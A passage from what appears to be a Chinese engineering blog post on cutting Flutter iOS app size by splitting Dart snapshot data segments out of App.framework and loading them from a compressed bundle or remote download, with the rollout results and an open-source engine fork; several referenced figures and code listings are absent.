kDartIsolateSnapshotData //代表 Dart 堆的初始状态,并包含 isolate 专属的信息。

kDartVmSnapshotData //代表 isolate 之间共享的 Dart 堆 (heap) 的初始状态。有助于更快地 启动 Dart isolate,但不包含任何 isolate 专属的信息。

kDartIsolateSnapshotInstructions //包含由 Dart isolate 执行的 AOT 代码。

kDartVmSnapshotInstructions //包含 VM 中所有 Dart isolate 之间共享的通用例程的 AOT 指令。这种快照的体积通常非常小,并且大多会包含程序桩 (stub)。

首先了解下什么是 isolate,DartVM 采用了所谓快照的方式,即 JIT 运行时编译后的基本结构与 AOT 编译的基本结构相同。将类信息、全局变量、函数指令直接以序列化的方式存在磁盘中,称为 Snapshot(快照)。同一个进程里可以有很多 isolate,但两个 isolate 的堆区是不能共享的,所以官方设计了 VM isolate,也就是 kDartVmSnapshot,用来多个 isolate 之间的交互。kDartVmSnapshot 分为指令段和数据段,对应上面的 kDartVmSnapshotData 和 kDartVmSnapshotInstructions,内置在 App.framework 里。具体关系如图:

而 isolate 对应的就是 kDartIsolateSnapshot,同样也分为指令段和数据段,对应上面的 kDartIsolateSnapshotData 和 kDartIsolateSnapshotInstructions。

官方文档解释 From the VM's perspective, this just needs to be loaded in memory with READ permissions and does not need WRITE or EXECUTE permissions. Practically this means it should end up in rodata when putting the snapshot in a shared library.

iOS 系统是不允许动态下发可执行二进制代码的,但 kDartIsolateSnapshotData 和 kDartVmSnapshotData 两个数据段的加载是不受系统限制的,所以我们要针对这两部分(上图黄色部分),制定具体的分离方案以及加载方案。

2.2.1、如何分离数据段并回写到磁盘

从上图可以看出 gen_snapshot 为 Dart 编译器,编译后的产物 snapshot_assembly.S 文件再根据不同的平台,编译出不通平台的产物。

分离数据段分为两部分:

  1. 将数据段回写到磁盘上,放入云端服务器动态下发。

  2. 将数据段从 App.framework 中剔除,达到瘦身效果

我们从 gen_snapshot 入手,将数据段产物剥离出来。具体实现如下:

经过验证,release 模式下走的是 CreateAndWritePrecompiledSnapshot 编译流程,因此我们将其改造,将数据段回写到磁盘,需要重写 CreateAppAOTSnapshotAsAssembly 方法。至于回写文件,我们发现 debug 模式下会使用 WriteFile 方法写入文件,这里仿照 debug 模式,将回传的数据段写入./ios/Flutter/Resource/路径下。

Dart_CreateAppAOTSnapshotAsAssembly 具体实现为在 dart_api_impl.cc 文件,gen_snapshot 编译器会将 dart 代码编译为 snapshot_assembly.S 文件,而 snapshot_assembly.S 文件实际上就包含了

kDartIsolateSnapshotData //数据段

kDartVmSnapshotData //数据段

kDartIsolateSnapshotInstructions //代码段

kDartVmSnapshotInstructions //代码段

这几部分。那么我们找到如何将数据段和代码段写入 snapshot_assembly.S 文件,把数据段分离出来不就可以了吗?我们在 FullSnapshotWriter 里发现了整个 snapshot_assembly.S 的写入过程。

到这一步我们已经将数据段回写到磁盘上了,Resource 下成功写入了两个数据段产物,如下图:

2.2.2、将数据段从可执行文件中剔除

同理,找到写入数据段的位置,将其剔除,我们本着改动量最小的原则,分析原有写入逻辑,发现源码里已经将不同符号类型的数据归类,那么顺着原有逻辑,在写入符号的时候,将数据段类型剔除即可。具体源码如下:

通过 nm 命令验证 App 文件中是否只剩下代码段:

对比剥离之前:

数据段剥离之后,也就完成了我们瘦身的目的,但是 App 运行时,没有数据段是不行的,会造成 App 崩溃,因此我们还需要一套完善的方案,来保证数据段从远端下发之后,安全的被加载。

2.2.3、如何加载分离后的数据段

我们来看下加载流程

Flutter 引擎启动的时候,会创建 DartVM,同时加载可执行文件中的代码段和数据段。具体方法可追溯到 ResolveVMData、ResolveVMInstructions、ResolveIsolateData、ResolveIsolateInstructions 等四个方法,分别加载了数据段与代码段,而这四个方法都指向了同一个方法,也就是 SearchMapping 方法,如下:

从 SearchMapping 方法中可以判断,加载顺序为,先从 settings.vm_snapshot_data 或 settings.isolate_snapshot_data 加载,若不存在则从 settings.vm_snapshot_data_path 或 settings.isolate_snapshot_data_path 读取,再然后从 settings.application_library_path 中加载。

那么如果我们篡改 settings.vm_snapshot_data_path 和 settings.isolate_snapshot_data_path 的指向,是否可以将我们本地的数据段正确加载呢?答案是肯定的。

从上面的加载流程图里可以看出来 Setting 类的初始化是在 FlutterDartProject 类里。我们在 FlutterDartProject 重设数据段路径、flutter_assets 路径和 icu_data 国际化文件路径。

首先我们在 App 启动时将分离产物下载到沙盒内的指定路径下:Document/flutter_resource/Resource/*

然后将 setting 类中 path 指定到此路径下。

设置完成以后,DartVM 启动所需要的各种资源与二进制就可以正常加载了。

工程化落地

有了初步的瘦身方案,具体落地还需要很多配套措施,比如持续集成,私有云及监控体系。

工程化落地主要包括三部分:

第一部分:定制 Flutter SDK

一、将 Flutter.framework 文件和 gen_snapshot 文件进行归档,同时需要制作 dSYM 符号表文件。

iOS 提供了两个工具,一个是用于 Flutter.framework 的规定及符号表导出,另一个是用于 gen_snapshot 文件的归档,他们位于 engine/src/flutter/sky/tools/create_ios_framework.py 和 engine/src/flutter/sky/tools/create_macos_gen_snapshots.py。

最终如图所示

ios-release 文件夹就是我们我最终改造完的产物,接下来就是定制 sdk 了。

实际上 Flutter sdk 里会根据不同的平台,不同的 build model 选择不同的编译器和 Flutter engine,如下图所示:

我们只需要把刚刚归档出来的 ios-release 替换 Flutter sdk 里的 ios-release 文件夹,之后 release 模式下打 iOS 产物,App.framework 就会是剥离出数据段的产物。

二、结合 flutterw 部署定制 sdk

由于目前公司 Flutter sdk 存在多个版本,比如 1.12.13、1.22.4 等,因此我们开发了 Flutter sdk 自动化管理工具 flutterw,可以根据项目的不同配置,切换不同的 Flutter sdk,包括官方 sdk,并且自动同步官方新版本。因此我们借助 flutterw 的能力,部署定制的 Flutter sdk,在有瘦身需求的项目里配置 sdk 版本即可。

首先发布定制 sdk:

结果如图:

接着在对应的项目中配置相应的 flutter sdk 版本,如下图:

三、改造 xcode_backend.sh 编译脚本,将数据段、资源包等压缩

编译之后产物被压缩成 flutter_resource.zip,同时为了标识产物的唯一性,将可执行文件的 uuid 作为唯一标识,每次下载完成之后需要先对比 uuid 是否一致。若不一致则更新产物。

第二部分:上传产物平台或内置压缩

到这一步我们准备了两种方案:

内置压缩方案:

也就是将数据段和资源包统一压缩内置在 App.framework 内,应用安装启动后自动解压放在指定位置。

动态下发方案:

对于其他小体量 App,可以采取远程下发的方案,也就是将 flutter_resource.zip 和 uuid_app.txt 上传到 s3 平台(资源服务器),同时在阿波罗平台(配置平台)增加新版本配置。应用启动后下载的方案。

方案对比:

两种方案对比之下,动态下发的瘦身效果最好,但成功率没有内置压缩高,内置压缩方案由于只增加了一个解压环节,因此成功率较高。不同的 APP 可以根据自己的需求采用不同的方案。

第三部分:产物管理

若使用远端下载方案,App 启动会首先拉取远端产物,并将版本信息生成缓存,校验 md5 通过后即可加载,当发现有新版本产物则拉取新版本产物并替换。至于内置压缩方案,则根据 App.framework 的 UUID 来判断是否是正确的产物。

内置压缩方案成功率达到了 99.99%,极小部分失败原因在于内存空间不足。

对于远程下发方案,App 启动后下载相关资源并解压,成功率会受到网络因素影响,增加了重试逻辑之后成功率如下:

尽管下载成功率达到了 99.4%但对于 C 端这种大体量的 app 来说,仍然会影响大量的用户,因此在 C 端使用的是成功率更高的内置压缩方案。

收益

通过动态下发这种方式,虽然可以显著的减小 Flutter 包体积,但是也会带来其他问题,比如由于网络原因导致产物下载失败。因此我们提供了更加安全可靠的方式,将这些文件压缩然后内置在 app 包内。

动态下发方案:

压缩内置方案:

优势:

1.通用的解决方案,任何接入 Flutter 的 APP 都可以用

2.只需集成一次,无需定时优化

3.随着 Flutter 业务的增多,瘦身效果也会更明显

劣势:

剥离出的产物需要通过网络下发,下载成功率取决于网络状况、内存空间等等因素制约。所以后续规划中,会结合 Flutter2web 来缓解由于下载失败,导致 Flutter 页面无法打开的情况。

符号化剥离及混淆:

注:Thin 模式就是数据段及资源动态下发或内置压缩的模式

总体瘦身:

经过上述方案的优化,Flutter 侧瘦身总大小达到了 7M 左右。

而经过各个业务方共同的努力,贝壳找房 app 包大小终于达标。以当时的 V2.47 版本为例:

“iPhone6-iPhoneX 系列”机型安装大小 149.2-149.8M,下载大小 110.5M

“iPhone11-12”机型安装大小 139.4M,下载大小仅 53M

Flutter engine 的改造源码目前已经开源,如果想尝试贝壳方案的同学可以按照开源文档接入。

开源地址:GitHub - LianjiaTech/flutter_beike_engine

后续规划

基于以上的优势劣势,贝壳致力于更加高标准的目标, 那么有没有其他办法在不影响成功率的情况下最大程度的增加瘦身比例呢?答案是有的,那就是结合 Flutter for web 来做兜底方案。具体方案如下:

我们知道,Flutter 在三端一体化做了大量的工作,Flutter 页面可以很好的被转换为 web 页面,我们可以借助这个特性,在编译发版包的时候,同时将 Flutter 工程编译为 Web 产物并部署在远端,当 App 启动后 Flutter 产物由于种种原因最终都无法下载成功的时候,自动打开对应的 web 页面。

关于 Fluttter for web 容灾降级更详细内容可参考:

https://mp.weixin.qq.com/s/zIeU0z-4P5Pd9THVybnDFQ

参考链接